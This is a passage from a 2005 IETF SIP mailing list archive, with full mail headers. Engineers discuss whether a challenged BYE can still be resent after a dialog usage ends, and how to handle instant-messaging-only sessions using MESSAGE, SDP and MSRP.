---- --- RQ ----> --- RQ ----> --- RQ ----> <-- 401 ---- <-- 401 ---- <-- 401 ---- --- RQ ----> --- RQ ----> --- RQ ----> <-- 200 ---- <-- 200 ---- <-- 200 ---- I base this on RFC3665, section 3.3 which shows a request (actually an INVITE) traversing multiple proxies. >From your (Rohan, David, Paul K.) comments, I believe that the flow you = are expecting is the following. UAC P1 P2 UAS --- RQ ----> [Dialog has ended on UAC] <-- 407 ---- I don't believe a UAC is permitted to send requests on a dialog that is = in terminated state. Therefore since the dialog ends on sending the first = BYE, I believe that the UAC cannot send any further requests, so cannot take = any further action when challenged. =20 Can you please confirm whether my understanding is correct or clarify = what aspect of this I have misunderstood? We may then continue, or close, = this discussion based on our mutual understanding of this scenario. Regards, Paul D Smith Network Protocols Group=20 Data Connection Ltd (DCL) Tel: +44 20 8366 1177 Email: paul.d.smith@dataconnection.com=20 Fax: +44 20 8363 1039 Web: http://www.dataconnection.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 14 11:57:26 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21527 for ; Mon, 14 Feb 2005 11:57:25 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0jsF-0006s6-2o for sip-web-archive@ietf.org; Mon, 14 Feb 2005 12:19:03 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0jW3-0008NK-HB; Mon, 14 Feb 2005 11:56:07 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0jT2-00080C-A5 for sip@megatron.ietf.org; Mon, 14 Feb 2005 11:53:00 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21073 for ; Mon, 14 Feb 2005 11:52:57 -0500 (EST) Received: from rtp-iport-1.cisco.com ([64.102.122.148]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0jnt-0006jf-FB for sip@ietf.org; Mon, 14 Feb 2005 12:14:34 -0500 Received: from rtp-core-2.cisco.com (64.102.124.13) by rtp-iport-1.cisco.com with ESMTP; 14 Feb 2005 12:04:39 -0500 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.88,199,1102309200"; d="scan'208"; a="36906372:sNHT105247524" Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62]) by rtp-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j1EGqLhH005058; Mon, 14 Feb 2005 11:52:24 -0500 (EST) Received: from cisco.com ([161.44.79.182]) by flask.cisco.com (MOS 3.4.6-GR) with ESMTP id APB78389; Mon, 14 Feb 2005 11:52:21 -0500 (EST) Message-ID: <4210D745.6020609@cisco.com> Date: Mon, 14 Feb 2005 11:52:21 -0500 From: Paul Kyzivat User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Paul D.Smith" Subject: Re: [Sip] RE: wording in the dialog package on mid-dialog requests References: <53F74F5A7B94D511841C00B0D0AB16F803E53513@baker.datcon.co.uk> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: b7b9551d71acde901886cc48bfc088a6 Content-Transfer-Encoding: 7bit Cc: SIP WG , Rohan Mahy , David R Oran X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f66b12316365a3fe519e75911daf28a8 Content-Transfer-Encoding: 7bit Paul D.Smith wrote: > David, Paul, Rohan, > > Having read David's e-mail, I believe there is one question that, if we can > answer it, holds the key to resolving this discussion. The question is: > > "What happens if someone challenges a BYE?" > > Now if we assume a couple of proxies between UAC and UAS, and everyone > wants authentication, I expected the flow to be as follows. > > UAC P1 P2 UAS > > --- RQ ----> > <-- 407 ---- > --- RQ ----> --- RQ ----> > <-- 407 ---- <-- 407 ---- > --- RQ ----> --- RQ ----> --- RQ ----> > <-- 401 ---- <-- 401 ---- <-- 401 ---- > --- RQ ----> --- RQ ----> --- RQ ----> > <-- 200 ---- <-- 200 ---- <-- 200 ---- > > I base this on RFC3665, section 3.3 which shows a request (actually > an INVITE) traversing multiple proxies. > >>From your (Rohan, David, Paul K.) comments, I believe that the flow you are > expecting is the following. > > UAC P1 P2 UAS > > --- RQ ----> [Dialog has ended on UAC] > <-- 407 ---- I have been making a slightly different point. It is that it is not the *dialog* that has ended upon sending a BYE. It is the dialog *usage* (for the invite) that has perhaps ended. (Or perhaps not, depending on the outcome of this discussion.) This problem arises because of an ambiguity in 3261 between 'dialog' and 'invite usage of dialog'. That ambiguity is compounded in the "dialog" event package, which is really an 'invite usage of dialog' event package. > I don't believe a UAC is permitted to send requests on a dialog that is in > terminated state. Its not permitted to send messages on a *dialog* that has terminated. It might however be permitted to send messages *about* a usage that has terminated, in order to ensure that the other party knows that that usage has terminated. Until the other party knows that, it won't know that the dialog is gone. > Therefore since the dialog ends on sending the first BYE, > I believe that the UAC cannot send any further requests, so cannot take any > further action when challenged. This just seems overly simplistic to me. It seems like the UAC should be able to keep trying to get the BYE through as long as there is no evidence that the *dialog* is gone. However, this isn't always going to be enough, so there will alsways be some weird cases. For instance, suppose at the time the call was established the UAC had to prompt the user for a password, in order to handle a digest challenge. And it has been using the resulting credentials since then. But then suppose those credentials expire before the BYE is sent. When the BYE is challenged, it may be necessary to prompt the user for a new password before responding to the challenge. If so, and if the user has hung up and walked away, that just isn't going to happen. In that case the BYE just isn't going to make it. Tough! Paul > Can you please confirm whether my understanding is correct or clarify what > aspect of this I have misunderstood? We may then continue, or close, this > discussion based on our mutual understanding of this scenario. > > Regards, > Paul D Smith > Network Protocols Group > Data Connection Ltd (DCL) > Tel: +44 20 8366 1177 Email: paul.d.smith@dataconnection.com > Fax: +44 20 8363 1039 Web: http://www.dataconnection.com > _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 14 13:55:52 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01945 for ; Mon, 14 Feb 2005 13:55:52 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0lir-00018v-Qj for sip-web-archive@ietf.org; Mon, 14 Feb 2005 14:17:30 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0lHZ-0005TW-Qh; Mon, 14 Feb 2005 13:49:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0lH7-0005N6-Gq for sip@megatron.ietf.org; Mon, 14 Feb 2005 13:48:49 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01474 for ; Mon, 14 Feb 2005 13:48:47 -0500 (EST) Received: from brmx1.fl.icn.siemens.com ([12.147.96.32] helo=brmx1.boca.ssc.siemens.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0lbz-000115-4Y for sip@ietf.org; Mon, 14 Feb 2005 14:10:24 -0500 Received: from fdns2.rolm.com (localhost [127.0.0.1]) by brmx1.boca.ssc.siemens.com (8.12.10/8.12.10) with ESMTP id j1EImhbT007088 for ; Mon, 14 Feb 2005 13:48:44 -0500 Received: from stca200a.bus.sc.rolm.com (stca200a.bus.sc.rolm.com [165.218.68.180]) by fdns2.rolm.com (8.12.10/8.12.10) with ESMTP id j1EImhDM026598 for ; Mon, 14 Feb 2005 10:48:43 -0800 (PST) Received: by stca200a.bus.sc.rolm.com with Internet Mail Service (5.5.2657.72) id <13J0YG75>; Mon, 14 Feb 2005 10:48:43 -0800 Message-ID: <13272676F5725D4397BD0E6A11C84968046C9166@stca208a.bus.sc.rolm.com> From: "Shetty, Sathish" To: "'sip@ietf.org'" Date: Mon, 14 Feb 2005 10:48:42 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 Subject: [Sip] Question on IM calls. X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9182cfff02fae4f1b6e9349e01d62f32 Hi, We are currently working on SIP Instant messaging. Our goal is to design a client to support only IM calls using MESSAGE method. I'm just wondering how to format the IM only SDP message in the INVITE/200 OK message. In case of IM calls most of the parameters in the SDP are NOT required ( such as codec, RTP/RTCP port etc) but RFC 2327 mandates all the parameters. I saw MSRP proposal for this using SEND method. Is there any other proposals in conjunction with MESSAGE method for IM only calls? Is there any RFC or drafts other than http://www.ietf.org/internet-drafts/draft-ietf-simple-message-sessions-09.tx t Please advice.. Thanks, Sathish. _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 14 14:24:57 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA04456 for ; Mon, 14 Feb 2005 14:24:57 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0mB0-0001qe-E1 for sip-web-archive@ietf.org; Mon, 14 Feb 2005 14:46:34 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0lo2-00016g-EJ; Mon, 14 Feb 2005 14:22:50 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0ljs-0000K9-C2 for sip@megatron.ietf.org; Mon, 14 Feb 2005 14:18:32 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03909 for ; Mon, 14 Feb 2005 14:18:30 -0500 (EST) Received: from sj-iport-4.cisco.com ([171.68.10.86]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0m4k-0001fM-Kg for sip@ietf.org; Mon, 14 Feb 2005 14:40:08 -0500 Received: from sj-core-4.cisco.com (171.68.223.138) by sj-iport-4.cisco.com with ESMTP; 14 Feb 2005 11:18:09 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62]) by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id j1EJHuYO025864; Mon, 14 Feb 2005 11:17:57 -0800 (PST) Received: from cisco.com ([161.44.79.182]) by flask.cisco.com (MOS 3.4.6-GR) with ESMTP id APB92941; Mon, 14 Feb 2005 14:17:55 -0500 (EST) Message-ID: <4210F963.9010006@cisco.com> Date: Mon, 14 Feb 2005 14:17:55 -0500 From: Paul Kyzivat User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Shetty, Sathish" Subject: Re: [Sip] Question on IM calls. References: <13272676F5725D4397BD0E6A11C84968046C9166@stca208a.bus.sc.rolm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 538aad3a3c4f01d8b6a6477ca4248793 Content-Transfer-Encoding: 7bit Cc: "'sip@ietf.org'" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 0a7aa2e6e558383d84476dc338324fab Content-Transfer-Encoding: 7bit Shetty, Sathish wrote: > Hi, > > We are currently working on SIP Instant messaging. Our goal is to design > a client to support only IM calls using MESSAGE method. I'm just wondering > how to format the IM only SDP message in the INVITE/200 OK message. Are you developoing an independent system, or a system intended to interwork with some other system that already works this way? (E.g. Microsoft.) > In case > of IM calls most of the parameters in the SDP are NOT required ( such as > codec, RTP/RTCP port etc) but RFC 2327 mandates all the parameters. I saw > MSRP proposal for this using SEND method. Is there any other proposals in > conjunction with MESSAGE method for IM only calls? The problem you are running up against is that MESSAGE was not designed to support IM *calls*. There has been an attempt to draw a distinction between "page mode" (using MESSAGE) and "session mode" (e.g. using MSRP.) There is (I'm pretty sure, though I don't remember exactly where) an explicit prohibition against using MESSAGE for session oriented conversations. So you should not be using INVITE to establish a session in which MESSAGE will be the way of exchanging IM "media". > Is there any RFC or drafts other than > http://www.ietf.org/internet-drafts/draft-ietf-simple-message-sessions-09.tx > t There were a number of drafts exploring various possibilities before settling on MSRP. But they have all long since expired. Other than that, there is what Microsoft is currently doing, which is not sanctioned by the IETF. If you want to do what they do, you either need to get details from them, or reverse engineer their product. Paul > Please advice.. > > Thanks, > Sathish. > > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip > _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 14 15:02:40 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09461 for ; Mon, 14 Feb 2005 15:02:40 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0mlW-0002uu-Lg for sip-web-archive@ietf.org; Mon, 14 Feb 2005 15:24:18 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0mNP-0005mR-HI; Mon, 14 Feb 2005 14:59:23 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0mMO-0005e8-Ry for sip@megatron.ietf.org; Mon, 14 Feb 2005 14:58:20 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08014 for ; Mon, 14 Feb 2005 14:58:18 -0500 (EST) Received: from figas.ekabal.com ([204.61.215.10]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0mhE-0002f8-D0 for sip@ietf.org; Mon, 14 Feb 2005 15:19:54 -0500 Received: from [172.16.16.91] (ptr.xo.com [66.236.111.254] (may be forged)) (authenticated) by figas.ekabal.com (8.11.6/8.11.6) with ESMTP id j1EJvwm03710; Mon, 14 Feb 2005 11:57:58 -0800 In-Reply-To: <53F74F5A7B94D511841C00B0D0AB16F803E53513@baker.datcon.co.uk> References: <53F74F5A7B94D511841C00B0D0AB16F803E53513@baker.datcon.co.uk> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <670b25c2429281a8c4a1d2ee4a2d7b6a@ekabal.com> Content-Transfer-Encoding: 7bit From: Rohan Mahy Subject: Re: [Sip] RE: wording in the dialog package on mid-dialog requests Date: Mon, 14 Feb 2005 09:33:51 -0800 To: "Paul D.Smith" X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: 25620135586de10c627e3628c432b04a Content-Transfer-Encoding: 7bit Cc: SIP WG , Rohan Mahy , Paul Kyzivat , David R Oran X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: bdc523f9a54890b8a30dd6fd53d5d024 Content-Transfer-Encoding: 7bit Hi Paul, BYE is unique in that when my UA sends a BYE, it is done with the usage. If the peer challenges the BYE, my UA will of course try to automatically resend the BYE with the appropriate credentials, but this does not impact my view of the state of the usage. I am done with it. Nothing you can do will bring the usage back from the dead. The challenge may increase the amount of time my peer thinks the usage is alive when I think it is dead, and that is perfectly fine. thanks, -rohan On Feb 14, 2005, at 8:19, Paul D.Smith wrote: > David, Paul, Rohan, > > Having read David's e-mail, I believe there is one question that, if > we can > answer it, holds the key to resolving this discussion. The question > is: > > "What happens if someone challenges a BYE?" > > Now if we assume a couple of proxies between UAC and UAS, and everyone > wants authentication, I expected the flow to be as follows. > > UAC P1 P2 UAS > > --- RQ ----> > <-- 407 ---- > --- RQ ----> --- RQ ----> > <-- 407 ---- <-- 407 ---- > --- RQ ----> --- RQ ----> --- RQ ----> > <-- 401 ---- <-- 401 ---- <-- 401 ---- > --- RQ ----> --- RQ ----> --- RQ ----> > <-- 200 ---- <-- 200 ---- <-- 200 ---- > > I base this on RFC3665, section 3.3 which shows a request (actually > an INVITE) traversing multiple proxies. > >> From your (Rohan, David, Paul K.) comments, I believe that the flow >> you are > expecting is the following. > > UAC P1 P2 UAS > > --- RQ ----> [Dialog has ended on UAC] > <-- 407 ---- > > I don't believe a UAC is permitted to send requests on a dialog that > is in > terminated state. Therefore since the dialog ends on sending the > first BYE, > I believe that the UAC cannot send any further requests, so cannot > take any > further action when challenged. > > Can you please confirm whether my understanding is correct or clarify > what > aspect of this I have misunderstood? We may then continue, or close, > this > discussion based on our mutual understanding of this scenario. > > Regards, > Paul D Smith > Network Protocols Group > Data Connection Ltd (DCL) > Tel: +44 20 8366 1177 Email: paul.d.smith@dataconnection.com > Fax: +44 20 8363 1039 Web: http://www.dataconnection.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 14 15:49:55 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA16376 for ; Mon, 14 Feb 2005 15:49:55 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0nVG-0004XZ-Es for sip-web-archive@ietf.org; Mon, 14 Feb 2005 16:11:34 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0n56-0003xV-DJ; Mon, 14 Feb 2005 15:44:32 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0n1H-0003a1-9U for sip@megatron.ietf.org; Mon, 14 Feb 2005 15:40:35 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA15634 for ; Mon, 14 Feb 2005 15:40:33 -0500 (EST) Received: from rtp-iport-1.cisco.com ([64.102.122.148]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0nMA-0004KB-Cc for sip@ietf.org; Mon, 14 Feb 2005 16:02:11 -0500 Received: from rtp-core-2.cisco.com (64.102.124.13) by rtp-iport-1.cisco.com with ESMTP; 14 Feb 2005 15:52:15 -0500 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,84,1107752400"; d="scan'208"; a="36947569:sNHT21472692" Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62]) by rtp-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j1EKdxhF007401; Mon, 14 Feb 2005 15:39:59 -0500 (EST) Received: from cisco.com ([161.44.79.182]) by flask.cisco.com (MOS 3.4.6-GR) with ESMTP id APC01015; Mon, 14 Feb 2005 15:39:58 -0500 (EST) Message-ID: <42110C9E.10005@cisco.com> Date: Mon, 14 Feb 2005 15:39:58 -0500 From: Paul Kyzivat User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rohan Mahy Subject: Re: [Sip] RE: wording in the dialog package on mid-dialog requests References: <53F74F5A7B94D511841C00B0D0AB16F803E53513@baker.datcon.co.uk> <670b25c2429281a8c4a1d2ee4a2d7b6a@ekabal.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: b280b4db656c3ca28dd62e5e0b03daa8 Content-Transfer-Encoding: 7bit Cc: SIP WG , David R Oran , "Paul D.Smith" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 10d3e4e3c32e363f129e380e644649be Content-Transfer-Encoding: 7bit Rohan Mahy wrote: > > Hi Paul, > > BYE is unique in that when my UA sends a BYE, it is done with the usage. > If the peer challenges the BYE, my UA will of course try to > automatically resend the BYE with the appropriate credentials, but this > does not impact my view of the state of the usage. I am done with it. > Nothing you can do will bring the usage back from the dead. The > challenge may increase the amount of time my peer thinks the usage is > alive when I think it is dead, and that is perfectly fine. I'm perfectly fine with that as long as as: - we are talking about the *usage*, not the *dialog* - its ok to keep trying to get that BYE through > thanks, > -rohan > > > > On Feb 14, 2005, at 8:19, Paul D.Smith wrote: > >> David, Paul, Rohan, >> >> Having read David's e-mail, I believe there is one question that, if >> we can >> answer it, holds the key to resolving this discussion. The question is: >> >> "What happens if someone challenges a BYE?" >> >> Now if we assume a couple of proxies between UAC and UAS, and everyone >> wants authentication, I expected the flow to be as follows. >> >> UAC P1 P2 UAS >> >> --- RQ ----> >> <-- 407 ---- >> --- RQ ----> --- RQ ----> >> <-- 407 ---- <-- 407 ---- >> --- RQ ----> --- RQ ----> --- RQ ----> >> <-- 401 ---- <-- 401 ---- <-- 401 ---- >> --- RQ ----> --- RQ ----> --- RQ ----> >> <-- 200 ---- <-- 200 ---- <-- 200 ---- >> >> I base this on RFC3665, section 3.3 which shows a request (actually >> an INVITE) traversing multiple proxies. >> >>> From your (Rohan, David, Paul K.) comments, I believe that the flow >>> you are >> >> expecting is the following. >> >> UAC P1 P2 UAS >> >> --- RQ ----> [Dialog has ended on UAC] >> <-- 407 ---- >> >> I don't believe a UAC is permitted to send requests on a dialog that >> is in >> terminated state. Therefore since the dialog ends on sending the >> first BYE, >> I believe that the UAC cannot send any further requests, so cannot >> take any >> further action when challenged. >> >> Can you please confirm whether my understanding is correct or clarify >> what >> aspect of this I have misunderstood? We may then continue, or close, >> this >> discussion based on our mutual understanding of this scenario. >> >> Regards, >> Paul D Smith >> Network Protocols Group >> Data Connection Ltd (DCL) >> Tel: +44 20 8366 1177 Email: paul.d.smith@dataconnection.com >> Fax: +44 20 8363 1039 Web: http://www.dataconnection.com > > _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 15 19:31:41 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA03970 for ; Tue, 15 Feb 2005 19:31:41 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1DRd-00072X-3m for sip-web-archive@ietf.org; Tue, 15 Feb 2005 19:53:36 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1D5d-0004sc-MC; Tue, 15 Feb 2005 19:30:49 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1D0T-0003fF-07 for sip@megatron.ietf.org; Tue, 15 Feb 2005 19:25:29 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA03518 for ; Tue, 15 Feb 2005 19:25:25 -0500 (EST) Received: from nylon.softarmor.com ([66.135.38.164]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1DLa-0006vB-RY for sip@ietf.org; Tue, 15 Feb 2005 19:47:20 -0500 Received: from [64.101.149.215] ([64.101.149.215]) (authenticated bits=0) by nylon.softarmor.com (8.13.1/8.12.11) with ESMTP id j1G0RDZi013695 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Tue, 15 Feb 2005 18:27:14 -0600 In-Reply-To: <13272676F5725D4397BD0E6A11C84968046C9166@stca208a.bus.sc.rolm.com> References: <13272676F5725D4397BD0E6A11C84968046C9166@stca208a.bus.sc.rolm.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <4eb8471e448a7dd9df991ea0c8dff659@softarmor.com> Content-Transfer-Encoding: 7bit From: Dean Willis Subject: Re: [Sip] Question on IM calls. Date: Tue, 15 Feb 2005 18:25:32 -0600 To: "Shetty, Sathish" X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: 244a2fd369eaf00ce6820a760a3de2e8 Content-Transfer-Encoding: 7bit Cc: "'sip@ietf.org'" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 4b800b1eab964a31702fa68f1ff0e955 Content-Transfer-Encoding: 7bit On Feb 14, 2005, at 12:48 PM, Shetty, Sathish wrote: > Hi, > > We are currently working on SIP Instant messaging. Our goal is to > design > a client to support only IM calls using MESSAGE method. I'm just > wondering > how to format the IM only SDP message in the INVITE/200 OK message. In > case > of IM calls most of the parameters in the SDP are NOT required ( such > as > codec, RTP/RTCP port etc) but RFC 2327 mandates all the parameters. I > saw > MSRP proposal for this using SEND method. Is there any other proposals > in > conjunction with MESSAGE method for IM only calls? > > Is there any RFC or drafts other than > http://www.ietf.org/internet-drafts/draft-ietf-simple-message- > sessions-09.tx > t > > Note that this is probably a question best left to the sip-implementors list, but it does raise a protocol usage question that might should have been on the SIPPING list, so if we need to debate this at any length we should move it there (or off-line). There's probably something wrong at the religion level with what I'm about to propose, so I've just donned my asbestos undergarment . . . It seems reasonable to me to have a null offer-answer -- that is, no SDP in the INVITE, none in the 200 OK, and none in the ACK, since you're not establishing a media channel in the context of this dialog. The obvious problem is "How do you know to do this?" For example, one might send an INVITE from such a client to another client that supports voice as well as null-media sessions. This UAS might respond with an SDP offer in the 200 OK, making life complicated. One answer might be that the set of AoRs used for the application is restricted, so you just know it isn't going to happen. This might work adequately for a lab exercise, a student project, or something like that. But eventually, you're going to want to go live on the Internet and talk to strangers (and their user agents). The caller-preferences/callee-caps mechanisms give us a framework for capability negotiations. So we could define a media feature tag (perhaps "nomedia") which the caller could include in the INVITE (perhaps with the require" modifier), indicating the the caller does not wish to engage in a media offer-answer. Another, (perhaps more theologically correct) approach would be just to send the MESSAGE request to the target AoR, and forget about establishing a surrounding dialog-context using INVITE. After all, for most uses of pager-mode messaging, the dialog is just overhead you didn't really need anyhow. -- Dean _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 15 22:30:32 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA09101 for ; Tue, 15 Feb 2005 22:30:32 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1GEl-0004IU-Hr for sip-web-archive@ietf.org; Tue, 15 Feb 2005 22:52:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by 